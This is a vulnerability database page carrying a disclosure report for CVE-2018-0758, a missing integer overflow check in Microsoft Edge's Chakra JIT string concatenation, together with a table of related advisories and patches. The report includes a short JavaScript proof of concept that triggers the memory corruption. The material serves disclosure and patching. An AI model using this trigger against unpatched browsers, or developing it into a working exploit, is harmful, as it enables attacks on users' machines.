| Reporter | Title | Published | Views | Family All 50 |
|---|---|---|---|---|
| Microsoft Edge Chakra JIT - Lowerer::LowerSetConcatStrMultiItem Missing Integer Overflow Check | 10 Jan 201800:00 | – | zdt | |
| The vulnerability of the JavaScript script handler ChakraCore in the Microsoft Edge browser allows a hacker to execute arbitrary code. | 21 Feb 201800:00 | – | bdu_fstec | |
| CVE-2018-0758 | 10 Jan 201800:00 | – | circl | |
| Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2018-00504) | 5 Jan 201800:00 | – | cnvd | |
| CVE-2018-0758 | 4 Jan 201814:00 | – | cve | |
| CVE-2018-0758 | 4 Jan 201814:00 | – | cvelist | |
| January 3, 2018—KB4056888 (OS Build 10586.1356) | 9 Jan 201808:00 | – | mskb | |
| January 3, 2018—KB4056890 (OS Build 14393.2007) | 9 Jan 201808:00 | – | mskb | |
| January 3, 2018—KB4056891 (OS Build 15063.850) | 9 Jan 201808:00 | – | mskb | |
| January 3, 2018—KB4056892 (OS Build 16299.192) | 9 Jan 201808:00 | – | mskb |
`Microsoft Edge: Chakra: JIT: Missing Integer Overflow check in Lowerer::LowerSetConcatStrMultiItem
CVE-2018-0758
The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.
Here's a snippet of the method.
void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)
{
...
IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);
...
InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)
...
}
At (a), there's no check for integer overflow.
Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.
PoC:
let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x10000; i++) {
a = 'BBBBBBBBB' + a + b;
}
print(a.length);
print(b.length);
print(a[0]);
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation